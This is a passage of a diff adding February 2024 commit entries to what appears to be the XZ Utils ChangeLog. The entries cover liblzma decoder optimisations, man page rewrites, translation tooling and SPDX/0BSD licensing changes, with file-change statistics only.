release tarballs because it was + forgotten to be added to Makefile.am. + + Makefile.am | 1 + + 1 file changed, 1 insertion(+) + +commit 160b6862646d95dfdbd73ab7f1031ede0f54992d +Author: Lasse Collin +Date: 2024-02-14 19:05:58 +0200 + + liblzma: Silence a warning. + + src/liblzma/rangecoder/range_decoder.h | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit eeedd4d0925ea417add04ceb42a6c0829244b50c +Author: Lasse Collin +Date: 2024-02-14 18:32:27 +0200 + + Add NEWS for 5.5.2beta. + + NEWS | 60 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + 1 file changed, 60 insertions(+) + +commit 8af7db854f903068d72a9a0d21103cb0c5027fa8 +Author: Lasse Collin +Date: 2024-02-13 14:32:47 +0200 + + xz: Mention lzmainfo if trying to use 'lzma --list'. + + This kind of fixes the problem reported here: + https://bugs.launchpad.net/ubuntu/+source/xz-utils/+bug/1291020 + + src/xz/list.c | 16 ++++++++++++++-- + 1 file changed, 14 insertions(+), 2 deletions(-) + +commit 0668907ff736e4cd16738c10d39a2bc9e851aefb +Author: Lasse Collin +Date: 2024-02-14 14:58:36 +0200 + + liblzma: Add comments. + + src/liblzma/lzma/lzma_decoder.c | 9 +++++++++ + src/liblzma/rangecoder/range_decoder.h | 11 +++++++++-- + 2 files changed, 18 insertions(+), 2 deletions(-) + +commit 109f1913d4824c8214d5bbd38ebebf62c37572da +Author: Lasse Collin +Date: 2024-02-13 17:00:17 +0200 + + Scripts: Add lz4 support to xzgrep and xzdiff. + + src/scripts/xzdiff.1 | 8 +++++--- + src/scripts/xzdiff.in | 14 +++++++++----- + src/scripts/xzgrep.1 | 6 ++++-- + src/scripts/xzgrep.in | 1 + + 4 files changed, 19 insertions(+), 10 deletions(-) + +commit de55485cb23af56c5adbe3239b935c957ff8ac4f +Author: Lasse Collin +Date: 2024-02-13 14:05:13 +0200 + + liblzma: Choose the range decoder variants using a bitmask macro. + + src/liblzma/rangecoder/range_decoder.h | 64 ++++++++++++++++++++++++++++------ + 1 file changed, 53 insertions(+), 11 deletions(-) + +commit 0709c2b2d7c1d8f437b003f691880fd7810e5be5 +Author: Lasse Collin +Date: 2024-02-13 11:38:10 +0200 + + xz: Fix outdated threading related info on the man page. + + src/xz/xz.1 | 22 ++++++++++++++-------- + 1 file changed, 14 insertions(+), 8 deletions(-) + +commit 3182a330c1512cc1f5c87b5c5a272578e60a5158 +Author: Lasse Collin +Date: 2024-02-12 17:09:10 +0200 + + liblzma: Range decoder: Add x86-64 inline assembly. + + It's compatible with GCC and Clang. + + src/liblzma/rangecoder/range_decoder.h | 491 +++++++++++++++++++++++++++++++++ + 1 file changed, 491 insertions(+) + +commit cba2edc991dffba7cd4891dbc1bd26cb950cf053 +Author: Lasse Collin +Date: 2024-02-12 17:09:10 +0200 + + liblzma: Range decoder: Add branchless C code. + + It's used only for basic bittrees and fixed-size reverse bittree + because those showed a clear benefit on x86-64 with GCC and Clang. + The other methods were more mixed and thus are commented out but + they should be tested on other archs. + + src/liblzma/rangecoder/range_decoder.h | 76 ++++++++++++++++++++++++++++++++++ + 1 file changed, 76 insertions(+) + +commit e290a72d6dee71faf3a90c9678b2f730083666a7 +Author: Lasse Collin +Date: 2024-02-12 17:09:10 +0200 + + liblzma: Clarify a comment. + + src/liblzma/lzma/lzma_decoder.c | 9 ++++++--- + 1 file changed, 6 insertions(+), 3 deletions(-) + +commit 5e04706b91ca90d6befd4da24a588a55e631d4a9 +Author: Lasse Collin +Date: 2024-02-12 17:09:10 +0200 + + liblzma: LZMA decoder: Optimize loop comparison. + + But now it needs one more local variable. + + src/liblzma/lzma/lzma_decoder.c | 5 ++--- + src/liblzma/rangecoder/range_decoder.h | 10 +++++++++- + 2 files changed, 11 insertions(+), 4 deletions(-) + +commit 88276f9f2cb4871c7eb86952d93d07c1cf6caa66 +Author: Lasse Collin +Date: 2024-02-12 17:09:10 +0200 + + liblzma: Optimize literal_subcoder() macro slightly. + + src/liblzma/lzma/lzma_common.h | 22 ++++++++++++---------- + src/liblzma/lzma/lzma_decoder.c | 12 ++++++------ + src/liblzma/lzma/lzma_encoder.c | 6 +++--- + src/liblzma/lzma/lzma_encoder_optimum_normal.c | 2 +- + src/liblzma/lzma/lzma_encoder_private.h | 4 ++-- + 5 files changed, 24 insertions(+), 22 deletions(-) + +commit 5938f6de4d8ec9656776cd69e78ddfd6c3ad84e5 +Author: Lasse Collin +Date: 2024-02-12 17:09:10 +0200 + + liblzma: LZ decoder: Add unlikely(). + + src/liblzma/lz/lz_decoder.h | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 9c252e3ed086c6b72590b2531586c42596d4a9d9 +Author: Lasse Collin +Date: 2024-02-12 17:09:10 +0200 + + liblzma: LZ decoder: Remove a useless unlikely(). + + src/liblzma/lz/lz_decoder.h | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit f3872a59475456c5d365cad9f1c5be514cfa54b5 +Author: Lasse Collin +Date: 2024-02-12 17:09:10 +0200 + + liblzma: Optimize LZ decoder slightly. + + Now extra buffer space is reserved so that repeating bytes for + any single match will never need to copy from two places (both + the beginning and the end of the buffer). This simplifies + dict_repeat() and helps a little with speed. + + This seems to reduce .lzma decompression time about 2 %, so + with .xz and CRC it could be slightly less. The small things + add up still. + + src/liblzma/lz/lz_decoder.c | 43 ++++++++++++----- + src/liblzma/lz/lz_decoder.h | 101 +++++++++++++++++++++------------------- + src/liblzma/lzma/lzma_decoder.c | 4 +- + 3 files changed, 88 insertions(+), 60 deletions(-) + +commit eb518446e578acf079abae5f1ce28db7b6e59bc1 +Author: Lasse Collin +Date: 2024-02-12 17:09:10 +0200 + + liblzma: LZMA decoder: Get rid of next_state[]. + + It's not completely obvious if this is better in the decoder. + It should be good if compiler can avoid creating a branch + (like using CMOV on x86). + + This also makes lzma_encoder.c use the new macros. + + src/liblzma/lzma/lzma_common.h | 14 ++++++++++++++ + src/liblzma/lzma/lzma_decoder.c | 30 ++++++++---------------------- + src/liblzma/lzma/lzma_encoder.c | 4 ++-- + 3 files changed, 24 insertions(+), 24 deletions(-) + +commit e0c0ee475c0800c08291ae45e0d66aa00d5ce604 +Author: Lasse Collin +Date: 2024-02-12 17:09:10 +0200 + + liblzma: LZMA decoder improvements. + + This adds macros for bittree decoding which prepares the code + for alternative C versions and inline assembly. + + src/liblzma/lzma/lzma_decoder.c | 264 ++++++++++----------------------- + src/liblzma/rangecoder/range_common.h | 4 + + src/liblzma/rangecoder/range_decoder.h | 142 ++++++++++++++++-- + 3 files changed, 210 insertions(+), 200 deletions(-) + +commit de5c5e417645ad8906ef914bc059d08c1462fc29 +Author: Jia Tan +Date: 2024-02-12 17:09:10 +0200 + + liblzma: Creates Non-resumable and Resumable modes for lzma_decoder. + + The new decoder resumes the first decoder loop in the Resumable mode. + Then, the code executes in Non-resumable mode until it detects that it + cannot guarantee to have enough input/output to decode another symbol. + + The Resumable mode is how the decoder has always worked. Before decoding + every input bit, it checks if there is enough space and will save its + location to be resumed later. When the decoder has more input/output, + it jumps back to the correct sequence in the Resumable mode code. + + When the input/output buffers are large, the Resumable mode is much + slower than the Non-resumable because it has more branches and is harder + for the compiler to optimize since it is in a large switch block. + + Early benchmarking shows significant time improvement (8-10% on gcc and + clang x86) by using the Non-resumable code as much as possible. + + src/liblzma/lz/lz_decoder.h | 14 +- + src/liblzma/lzma/lzma_decoder.c | 720 ++++++++++++++++++++++++++++------------ + 2 files changed, 521 insertions(+), 213 deletions(-) + +commit e446ab7a18abfde18f8d1cf02a914df72b1370e3 +Author: Jia Tan +Date: 2024-02-12 17:09:10 +0200 + + liblzma: Creates separate "safe" range decoder mode. + + The new "safe" range decoder mode is the same as old range decoder, but + now the default behavior of the range decoder will not check if there is + enough input or output to complete the operation. When the buffers are + close to fully consumed, the "safe" operations must be used instead. This + will improve speed because it will reduce the number of branches needed + for most of the range decoder operations. + + src/liblzma/lzma/lzma_decoder.c | 108 ++++++++------------------------- + src/liblzma/rangecoder/range_decoder.h | 77 +++++++++++++++++------ + 2 files changed, 82 insertions(+), 103 deletions(-) + +commit 7f6d9ca329ff3e01d4b0be7366eb4f5c93da41b9 +Author: Lasse Collin +Date: 2024-02-12 17:09:10 +0200 + + doxygen/footer.html: Add missing closing tags and don't open a new tab. + + The footer template from Doxygen has the closing + as Doxygen doesn't add them otherwise. + + target="_blank" was omitted as it's not useful here but + it can be slightly annoying as one cannot just go back + in the browser history. + + Since the footer links to the license file in the same + directory and not to CC website, the rel attributes + can be omitted. + + doxygen/footer.html | 6 ++++-- + 1 file changed, 4 insertions(+), 2 deletions(-) + +commit 26d1527d34d52b0f5d632d4fb636fb33d0867e92 +Author: Lasse Collin +Date: 2024-02-13 13:19:10 +0200 + + Tweak the expressions in AUTHORS. + + AUTHORS | 31 +++++++++++++++++++++++-------- + 1 file changed, 23 insertions(+), 8 deletions(-) + +commit d231d56580175fa040fdd3c6207a58243ce6217b +Author: Lasse Collin +Date: 2024-02-13 13:07:33 +0200 + + Translations: Add the man page translators into man page header comment. + + It looked odd to only have the original English authors listed + in the header comments of the translated files. + + po4a/.gitignore | 1 + + po4a/po4a.conf | 14 +++++++------- + po4a/update-po | 18 ++++++++++++++++++ + 3 files changed, 26 insertions(+), 7 deletions(-) + +commit 6d35fcb936474fca1acaebfd9502c097b6fde88e +Author: Lasse Collin +Date: 2024-02-12 17:09:10 +0200 + + Translations: Translate also messages of lzmainfo. + + lzmainfo has had translation support since 2009 at least but + it was never added to po/POTFILES.in so the messages weren't + translated. It's a very rarely needed tool so it's not too bad. + + This also adds src/xz/mytime.c to po/POTFILES.in although there + are no translatable strings. It's simpler this way so that it + won't be forgotten if strings were ever added to that file. + + po/POTFILES.in | 2 ++ + 1 file changed, 2 insertions(+) + +commit a9f369dd54b05f9ac4e00ead9d765d04fc259868 +Author: Lasse Collin +Date: 2024-02-12 17:09:10 +0200 + + Translations: Add custom .pot header with SPDX license identifier. + + The same is used for both po/xz.pot and po4a/xz-man.pot. + + Makefile.am | 1 + + po/xz.pot-header | 7 +++++++ + po4a/update-po | 8 ++++++++ + 3 files changed, 16 insertions(+) + +commit 469cd6653bb96e83c5cf1031c204d34566b15f44 +Author: Lasse Collin +Date: 2024-02-12 17:09:10 +0200 + + Translations: po4a/update-po: Add copyright notice to xz-man.pot. + + All man pages are under 0BSD now so this is simple now. + + po4a/update-po | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 28ce45e38fbed4b5f54f2013e38dab47d22bf699 +Author: Lasse Collin +Date: 2024-02-12 17:09:10 +0200 + + Update COPYING about the man pages of the scripts. + + COPYING | 6 +++--- + 1 file changed, 3 insertions(+), 3 deletions(-) + +commit e48287bf51afd5184ea74de1dcade9e153f873f7 +Author: Lasse Collin +Date: 2024-02-12 17:09:10 +0200 + + xzdiff, xzgrep, and xzmore: Rewrite the man pages. + + The main reason is a kind of silly one: + + xz-man.pot contains strings from all man pages in XZ Utils. + The man pages of xzdiff, xzgrep, and xzmore were under GPLv2 + and the rest under 0BSD. Thus xz-man.pot contained strings + under two licences. po4a creates the translated man pages + from the combined 0BSD+GPLv2 xz-man.pot. + + I haven't liked this mixing in xz-man.pot but the + Translation Project requires that all man pages must be + in the same .pot file. So a separate xz-man-gpl.pot + wasn't an option. + + Since these man pages are short, rewriting them was quick enough. + Now xz-man.pot is entirely under 0BSD and marking the per-file + licenses is simpler. + + As a bonus, some wording hopefully is now slightly better + although it's perhaps a matter of taste. + + NOTE: In xzgrep.1, the EXIT STATUS section was written by me + in the commit d796b6d7fdb8b7238b277056cf9146cce25db604 so that's + why that section could be taken as is from the old xzgrep.1. + + src/scripts/xzdiff.1 | 94 ++++++++++++++++++++++++----------------- + src/scripts/xzgrep.1 | 116 ++++++++++++++++++++++++++++++++------------------- + src/scripts/xzmore.1 | 79 ++++++++++++++++++++--------------- + 3 files changed, 173 insertions(+), 116 deletions(-) + +commit 3e551b111b8ae8150f1a1040364dbafc034f22be +Author: Lasse Collin +Date: 2024-02-12 17:09:10 +0200 + + xzless: Update man page slightly. + + The xz tool can decompress three file formats and xzless + has always supported uncompressed files too. + + src/scripts/xzless.1 | 8 ++++---- + 1 file changed, 4 insertions(+), 4 deletions(-) + +commit 40f36da2262d13d6e1ba8449caa855512ae626d7 +Author: Lasse Collin +Date: 2024-02-12 17:09:10 +0200 + + Translations: Change po/Makevars to add a copyright notice to po/xz.pot. + + po/Makevars | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +commit 24192854e2ea5c06997431a98bda3c36c5da1497 +Author: Lasse Collin +Date: 2024-02-12 17:09:10 +0200 + + Translations: Update po/Makevars to use the template from gettext 0.22.4. + + Also add SPDX license identifier now that there is a known license. + + po/Makevars | 51 ++++++++++++++++++++++++++++++++++++++++++++++----- + 1 file changed, 46 insertions(+), 5 deletions(-) + +commit b94154957370116480b43bcabca25fc52deb9853 +Author: Lasse Collin +Date: 2024-02-12 17:09:10 +0200 + + liblzma: Include the SPDX license identifier 0BSD to generated files. + + Perhaps the generated files aren't even copyrightable but + using the same license for them as for the rest of the liblzma + keeps things more consistent for tools that look for license info. + + src/liblzma/check/crc32_table_be.h | 4 +++- + src/liblzma/check/crc32_table_le.h | 4 +++- + src/liblzma/check/crc32_tablegen.c | 16 ++++++++++------ + src/liblzma/check/crc64_table_be.h | 4 +++- + src/liblzma/check/crc64_table_le.h | 4 +++- + src/liblzma/check/crc64_tablegen.c | 8 +++++--- + src/liblzma/lz/lz_encoder_hash_table.h | 4 +++- + src/liblzma/lzma/fastpos_table.c | 4 +++- + src/liblzma/lzma/fastpos_tablegen.c | 12 +++++++----- + src/liblzma/rangecoder/price_table.c | 4 +++- + src/liblzma/rangecoder/price_tablegen.c | 12 +++++++----- + 11 files changed, 50 insertions(+), 26 deletions(-) + +commit 8e4ec794836bc1701d8c9bd5e347b8ce8cc5bbb4 +Author: Lasse Collin +Date: 2024-02-12 17:09:10 +0200 + + liblzma: Fix compilation of price_tablegen.c. + + It is built and run only manually so this didn't matter + unless one wanted to regenerate the price_table.c. + + src/liblzma/rangecoder/price_tablegen.c | 5 +++++ + src/liblzma/rangecoder/range_common.h | 5 ++++- + 2 files changed, 9 insertions(+), 1 deletion(-) + +commit e99bff3ffbcdf2634fd5bd13887627ec7dbfecaf +Author: Lasse Collin +Date: 2024-02-12 17:09:10 +0200 + + Add SPDX license identifiers to GPL, LGPL, and FSFULLR files. + + extra/scanlzma/scanlzma.c | 2 ++ + lib/Makefile.am | 2 ++ + lib/getopt-cdefs.h | 2 ++ + lib/getopt-core.h | 2 ++ + lib/getopt-ext.h | 2 ++ + lib/getopt-pfx-core.h | 2 ++ + lib/getopt-pfx-ext.h | 2 ++ + lib/getopt.c | 2 ++ + lib/getopt.in.h | 2 ++ + lib/getopt1.c | 2 ++ + lib/getopt_int.h | 2 ++ + m4/ax_pthread.m4 | 2 ++ + m4/getopt.m4 | 2 ++ + m4/posix-shell.m4 | 2 ++ + m4/visibility.m4 | 2 ++ + src/scripts/xzdiff.1 | 3 +-- + src/scripts/xzdiff.in | 1 + + src/scripts/xzgrep.1 | 3 +-- + src/scripts/xzgrep.in | 1 + + src/scripts/xzless.in | 1 + + src/scripts/xzmore.1 | 3 +-- + src/scripts/xzmore.in | 1 + + 22 files changed, 37 insertions(+), 6 deletions(-) + +commit 22af94128b89a131f5e58ae69bee5e50227c15da +Author: Lasse Collin +Date: 2024-02-12 17:09:10 +0200 + + Add SPDX license identifier into 0BSD source code files. + + .github/workflows/ci.yml | 2 ++ + .github/workflows/windows-ci.yml | 2 ++ + CMakeLists.txt | 2 ++ + Makefile.am | 3 +-- + autogen.sh | 1 + + build-aux/ci_build.sh | 3 ++- + build-aux/manconv.sh | 3 ++- + build-aux/version.sh | 3 ++- + cmake/remove-ordinals.cmake | 2 ++ + cmake/tuklib_common.cmake | 4 ++++ + cmake/tuklib_cpucores.cmake | 4 ++++ + cmake/tuklib_integer.cmake | 4 ++++ + cmake/tuklib_large_file_support.cmake | 4 ++++ + cmake/tuklib_mbstr.cmake | 4 ++++ + cmake/tuklib_physmem.cmake | 4 ++++ + cmake/tuklib_progname.cmake | 4 ++++ + configure.ac | 4 +++- + debug/Makefile.am | 3 +-- + debug/crc32.c | 2 ++ + debug/full_flush.c | 2 ++ + debug/hex2bin.c | 2 ++ + debug/known_sizes.c | 2 ++ + debug/memusage.c | 2 ++ + debug/repeat.c | 2 ++ + debug/sync_flush.c | 2 ++ + debug/translation.bash | 1 + + doc/examples/01_compress_easy.c | 2 ++ + doc/examples/02_decompress.c | 2 ++ + doc/examples/03_compress_custom.c | 2 ++ + doc/examples/04_compress_easy_mt.c | 2 ++ + doc/examples/11_file_info.c | 2 ++ + doc/examples/Makefile | 3 +-- + dos/Makefile | 2 ++ + dos/config.h | 2 ++ + doxygen/update-doxygen | 3 ++- + extra/7z2lzma/7z2lzma.bash | 3 ++- + m4/tuklib_common.m4 | 8 ++++++-- + m4/tuklib_cpucores.m4 | 8 ++++++-- + m4/tuklib_integer.m4 | 8 ++++++-- + m4/tuklib_mbstr.m4 | 8 ++++++-- + m4/tuklib_physmem.m4 | 8 ++++++-- + m4/tuklib_progname.m4 | 8 ++++++-- + po/POTFILES.in | 2 ++ + po4a/po4a.conf | 2 ++ + po4a/update-po | 3 ++- + src/Makefile.am | 3 +-- + src/common/common_w32res.rc | 2 ++ + src/common/mythread.h | 2 ++ + src/common/sysdefs.h | 2 ++ + src/common/tuklib_common.h | 2 ++ + src/common/tuklib_config.h | 2 ++ + src/common/tuklib_cpucores.c | 2 ++ + src/common/tuklib_cpucores.h | 2 ++ + src/common/tuklib_exit.c | 2 ++ + src/common/tuklib_exit.h | 2 ++ + src/common/tuklib_gettext.h | 2 ++ + src/common/tuklib_integer.h | 2 ++ + src/common/tuklib_mbstr.h | 2 ++ + src/common/tuklib_mbstr_fw.c | 2 ++ + src/common/tuklib_mbstr_width.c | 2 ++ + src/common/tuklib_open_stdxxx.c | 2 ++ + src/common/tuklib_open_stdxxx.h | 2 ++ + src/common/tuklib_physmem.c | 2 ++ + src/common/tuklib_physmem.h | 2 ++ + src/common/tuklib_progname.c | 2 ++ + src/common/tuklib_progname.h | 2 ++ + src/liblzma/Makefile.am | 3 +-- + src/liblzma/api/Makefile.am | 3 +-- + src/liblzma/api/lzma.h | 2 ++ + src/liblzma/api/lzma/base.h | 2 ++ + src/liblzma/api/lzma/bcj.h | 2 ++ + src/liblzma/api/lzma/block.h | 2 ++ + src/liblzma/api/lzma/check.h | 2 ++ + src/liblzma/api/lzma/container.h | 2 ++ + src/liblzma/api/lzma/delta.h | 2 ++ + src/liblzma/api/lzma/filter.h | 2 ++ + src/liblzma/api/lzma/hardware.h | 2 ++ + src/liblzma/api/lzma/index.h | 2 ++ + src/liblzma/api/lzma/index_hash.h | 2 ++ + src/liblzma/api/lzma/lzma12.h | 2 ++ + src/liblzma/api/lzma/stream_flags.h | 2 ++ + src/liblzma/api/lzma/version.h | 2 ++ + src/liblzma/api/lzma/vli.h | 2 ++ + src/liblzma/check/Makefile.inc | 4 ++-- + src/liblzma/check/check.c | 2 ++ + src/liblzma/check/check.h | 2 ++ + src/liblzma/check/crc32_arm64.h | 2 ++ + src/liblzma/check/crc32_fast.c | 2 ++ + src/liblzma/check/crc32_small.c | 2 ++ + src/liblzma/check/crc32_table.c | 2 ++ + src/liblzma/check/crc32_tablegen.c | 2 ++ + src/liblzma/check/crc32_x86.S | 2 ++ + src/liblzma/check/crc64_fast.c | 2 ++ + src/liblzma/check/crc64_small.c | 2 ++ + src/liblzma/check/crc64_table.c | 2 ++ + src/liblzma/check/crc64_tablegen.c | 2 ++ + src/liblzma/check/crc64_x86.S | 2 ++ + src/liblzma/check/crc_common.h | 2 ++ + src/liblzma/check/crc_x86_clmul.h | 2 ++ + src/liblzma/check/sha256.c | 2 ++ + src/liblzma/common/Makefile.inc | 3 +-- + src/liblzma/common/alone_decoder.c | 2 ++ + src/liblzma/common/alone_decoder.h | 2 ++ + src/liblzma/common/alone_encoder.c | 2 ++ + src/liblzma/common/auto_decoder.c | 2 ++ + src/liblzma/common/block_buffer_decoder.c | 2 ++ + src/liblzma/common/block_buffer_encoder.c | 2 ++ + src/liblzma/common/block_buffer_encoder.h | 2 ++ + src/liblzma/common/block_decoder.c | 2 ++ + src/liblzma/common/block_decoder.h | 2 ++ + src/liblzma/common/block_encoder.c | 2 ++ + src/liblzma/common/block_encoder.h | 2 ++ + src/liblzma/common/block_header_decoder.c | 2 ++ + src/liblzma/common/block_header_encoder.c | 2 ++ + src/liblzma/common/block_util.c | 2 ++ + src/liblzma/common/common.c | 2 ++ + src/liblzma/common/common.h | 2 ++ + src/liblzma/common/easy_buffer_encoder.c | 2 ++ + src/liblzma/common/easy_decoder_memusage.c | 2 ++ + src/liblzma/common/easy_encoder.c | 2 ++ + src/liblzma/common/easy_encoder_memusage.c | 2 ++ + src/liblzma/common/easy_preset.c | 2 ++ + src/liblzma/common/easy_preset.h | 2 ++ + src/liblzma/common/file_info.c | 2 ++ + src/liblzma/common/filter_buffer_decoder.c | 2 ++ + src/liblzma/common/filter_buffer_encoder.c | 2 ++ + src/liblzma/common/filter_common.c | 2 ++ + src/liblzma/common/filter_common.h | 2 ++ + src/liblzma/common/filter_decoder.c | 2 ++ + src/liblzma/common/filter_decoder.h | 2 ++ + src/liblzma/common/filter_encoder.c | 2 ++ + src/liblzma/common/filter_encoder.h | 2 ++ + src/liblzma/common/filter_flags_decoder.c | 2 ++ + src/liblzma/common/filter_flags_encoder.c | 2 ++ + src/liblzma/common/hardware_cputhreads.c | 2 ++ + src/liblzma/common/hardware_physmem.c | 2 ++ + src/liblzma/common/index.c | 2 ++ + src/liblzma/common/index.h | 2 ++ + src/liblzma/common/index_decoder.c | 2 ++ + src/liblzma/common/index_decoder.h | 2 ++ + src/liblzma/common/index_encoder.c | 2 ++ + src/liblzma/common/index_encoder.h | 2 ++ + src/liblzma/common/index_hash.c | 2 ++ + src/liblzma/common/lzip_decoder.c | 2 ++ + src/liblzma/common/lzip_decoder.h | 2 ++ + src/liblzma/common/memcmplen.h | 2 ++ + src/liblzma/common/microlzma_decoder.c | 2 ++ + src/liblzma/common/microlzma_encoder.c | 2 ++ + src/liblzma/common/outqueue.c | 2 ++ + src/liblzma/common/outqueue.h | 2 ++ + src/liblzma/common/stream_buffer_decoder.c | 2 ++ + src/liblzma/common/stream_buffer_encoder.c | 2 ++ + src/liblzma/common/stream_decoder.c | 2 ++ + src/liblzma/common/stream_decoder.h | 2 ++ + src/liblzma/common/stream_decoder_mt.c | 2 ++ + src/liblzma/common/stream_encoder.c | 2 ++ + src/liblzma/common/stream_encoder_mt.c | 2 ++ + src/liblzma/common/stream_flags_common.c | 2 ++ + src/liblzma/common/stream_flags_common.h | 2 ++ + src/liblzma/common/stream_flags_decoder.c | 2 ++ + src/liblzma/common/stream_flags_encoder.c | 2 ++ + src/liblzma/common/string_conversion.c | 2 ++ + src/liblzma/common/vli_decoder.c | 2 ++ + src/liblzma/common/vli_encoder.c | 2 ++ + src/liblzma/common/vli_size.c | 2 ++ + src/liblzma/delta/Makefile.inc | 3 +-- + src/liblzma/delta/delta_common.c | 2 ++ + src/liblzma/delta/delta_common.h | 2 ++ + src/liblzma/delta/delta_decoder.c | 2 ++ + src/liblzma/delta/delta_decoder.h | 2 ++ + src/liblzma/delta/delta_encoder.c | 2 ++ + src/liblzma/delta/delta_encoder.h | 2 ++ + src/liblzma/delta/delta_private.h | 2 ++ + src/liblzma/liblzma.pc.in | 3 +-- + src/liblzma/liblzma_generic.map | 2 ++ + src/liblzma/liblzma_linux.map | 2 ++ + src/liblzma/liblzma_w32res.rc | 2 ++ + src/liblzma/lz/Makefile.inc | 3 +-- + src/liblzma/lz/lz_decoder.c | 2 ++ + src/liblzma/lz/lz_decoder.h | 2 ++ + src/liblzma/lz/lz_encoder.c | 2 ++ + src/liblzma/lz/lz_encoder.h | 2 ++ + src/liblzma/lz/lz_encoder_hash.h | 2 ++ + src/liblzma/lz/lz_encoder_mf.c | 2 ++ + src/liblzma/lzma/Makefile.inc | 3 +-- + src/liblzma/lzma/fastpos.h | 2 ++ + src/liblzma/lzma/fastpos_tablegen.c | 2 ++ + src/liblzma/lzma/lzma2_decoder.c | 2 ++ + src/liblzma/lzma/lzma2_decoder.h | 2 ++ + src/liblzma/lzma/lzma2_encoder.c | 2 ++ + src/liblzma/lzma/lzma2_encoder.h | 2 ++ + src/liblzma/lzma/lzma_common.h | 2 ++ + src/liblzma/lzma/lzma_decoder.c | 2 ++ + src/liblzma/lzma/lzma_decoder.h | 2 ++ + src/liblzma/lzma/lzma_encoder.c | 2 ++ + src/liblzma/lzma/lzma_encoder.h | 2 ++ + src/liblzma/lzma/lzma_encoder_optimum_fast.c | 2 ++ + src/liblzma/lzma/lzma_encoder_optimum_normal.c | 2 ++ + src/liblzma/lzma/lzma_encoder_presets.c | 2 ++ + src/liblzma/lzma/lzma_encoder_private.h | 2 ++ + src/liblzma/rangecoder/Makefile.inc | 3 +-- + src/liblzma/rangecoder/price.h | 2 ++ + src/liblzma/rangecoder/price_tablegen.c | 2 ++ + src/liblzma/rangecoder/range_common.h | 2 ++ + src/liblzma/rangecoder/range_decoder.h | 2 ++ + src/liblzma/rangecoder/range_encoder.h | 2 ++ + src/liblzma/simple/Makefile.inc | 3 +-- + src/liblzma/simple/arm.c | 2 ++ + src/liblzma/simple/arm64.c | 2 ++ + src/liblzma/simple/armthumb.c | 2 ++ + src/liblzma/simple/ia64.c | 2 ++ + src/liblzma/simple/powerpc.c | 2 ++ + src/liblzma/simple/riscv.c | 2 ++ + src/liblzma/simple/simple_coder.c | 2 ++ + src/liblzma/simple/simple_coder.h | 2 ++ + src/liblzma/simple/simple_decoder.c | 2 ++ + src/liblzma/simple/simple_decoder.h | 2 ++ + src/liblzma/simple/simple_encoder.c | 2 ++ + src/liblzma/simple/simple_encoder.h | 2 ++ + src/liblzma/simple/simple_private.h | 2 ++ + src/liblzma/simple/sparc.c | 2 ++ + src/liblzma/simple/x86.c | 2 ++ + src/liblzma/validate_map.sh | 1 + + src/lzmainfo/Makefile.am | 3 +-- + src/lzmainfo/lzmainfo.c | 2 ++ + src/lzmainfo/lzmainfo_w32res.rc | 2 ++ + src/scripts/Makefile.am | 3 +-- + src/xz/Makefile.am | 3 +-- + src/xz/args.c | 2 ++ + src/xz/args.h | 2 ++ + src/xz/coder.c | 2 ++ + src/xz/coder.h | 2 ++ + src/xz/file_io.c | 2 ++ + src/xz/file_io.h | 2 ++ + src/xz/hardware.c | 2 ++ + src/xz/hardware.h | 2 ++ + src/xz/list.c | 2 ++ + src/xz/list.h | 2 ++ + src/xz/main.c | 2 ++ + src/xz/main.h | 2 ++ + src/xz/message.c | 2 ++ + src/xz/message.h | 2 ++ + src/xz/mytime.c | 2 ++ + src/xz/mytime.h | 2 ++ + src/xz/options.c | 2 ++ + src/xz/options.h | 2 ++ + src/xz/private.h | 2 ++ + src/xz/signals.c | 2 ++ + src/xz/signals.h | 2 ++ + src/xz/suffix.c | 2 ++ + src/xz/suffix.h | 2 ++ + src/xz/util.c | 2 ++ + src/xz/util.h | 2 ++ + src/xz/xz_w32res.rc | 2 ++ + src/xzdec/Makefile.am | 3 +-- + src/xzdec/lzmadec_w32res.rc | 2 ++ + src/xzdec/xzdec.c | 2 ++ + src/xzdec/xzdec_w32res.rc | 2 ++ + tests/Makefile.am | 3 +-- + tests/bcj_test.c | 2 ++ + tests/code_coverage.sh | 1 + + tests/create_compress_files.c | 2 ++ + tests/ossfuzz/fuzz_common.h | 2 ++ + tests/ossfuzz/fuzz_decode_alone.c | 2 ++ + tests/ossfuzz/fuzz_decode_stream.c | 2 ++ + tests/ossfuzz/fuzz_encode_stream.c | 2 ++ + tests/test_bcj_exact_size.c | 2 ++ + tests/test_block_header.c | 2 ++ + tests/test_check.c | 2 ++ + tests/test_compress.sh | 1 + + tests/test_compress_generated_abc | 1 + + tests/test_compress_generated_random | 1 + + tests/test_compress_generated_text | 1 + + tests/test_compress_prepared_bcj_sparc | 1 + + tests/test_compress_prepared_bcj_x86 | 1 + + tests/test_files.sh | 1 + + tests/test_filter_flags.c | 2 ++ + tests/test_filter_str.c | 2 ++ + tests/test_hardware.c | 2 ++ + tests/test_index.c | 2 ++ + tests/test_index_hash.c | 2 ++ + tests/test_lzip_decoder.c | 2 ++ + tests/test_memlimit.c | 2 ++ + tests/test_scripts.sh | 1 + + tests/test_stream_flags.c | 2 ++ + tests/test_suffix.sh | 1 + + tests/test_vli.c | 2 ++ + tests/tests.h | 2 ++ + tests/tuktest.h | 2 ++ + windows/build.bash | 3 ++- + 290 files changed, 588 insertions(+), 58 deletions(-) + +commit 23de53421ea258cde6a3c33a038b1e9d08f771d1 +Author: Lasse Collin +Date: 2024-02-12 23:25:54 +0200 + + liblzma: Sync the AUTHORS fix about SHA-256 to lzma.h. + + src/liblzma/api/lzma.h | 10 ++++------ + 1 file changed, 4 insertions(+), 6 deletions(-) + +commit 689e0228baeb95232430e90d628379db89583d71 +Author: Lasse Collin +Date: 2024-02-12 17:09:10 +0200 + + Change most public domain parts to 0BSD. + + Translations and doc/xz-file-format.txt and doc/lzma-file-format.txt + were not touched. + + COPYING.0BSD was added. + + .github/workflows/ci.yml | 3 - + .github/workflows/windows-ci.yml | 3 - + CMakeLists.txt | 3 - + COPYING | 112 ++++++++++++++----------- + COPYING.0BSD | 11 +++ + Makefile.am | 3 - + PACKAGERS | 11 +-- + autogen.sh | 3 - + build-aux/ci_build.sh | 3 - + build-aux/manconv.sh | 3 - + build-aux/version.sh | 3 - + cmake/remove-ordinals.cmake | 3 - + 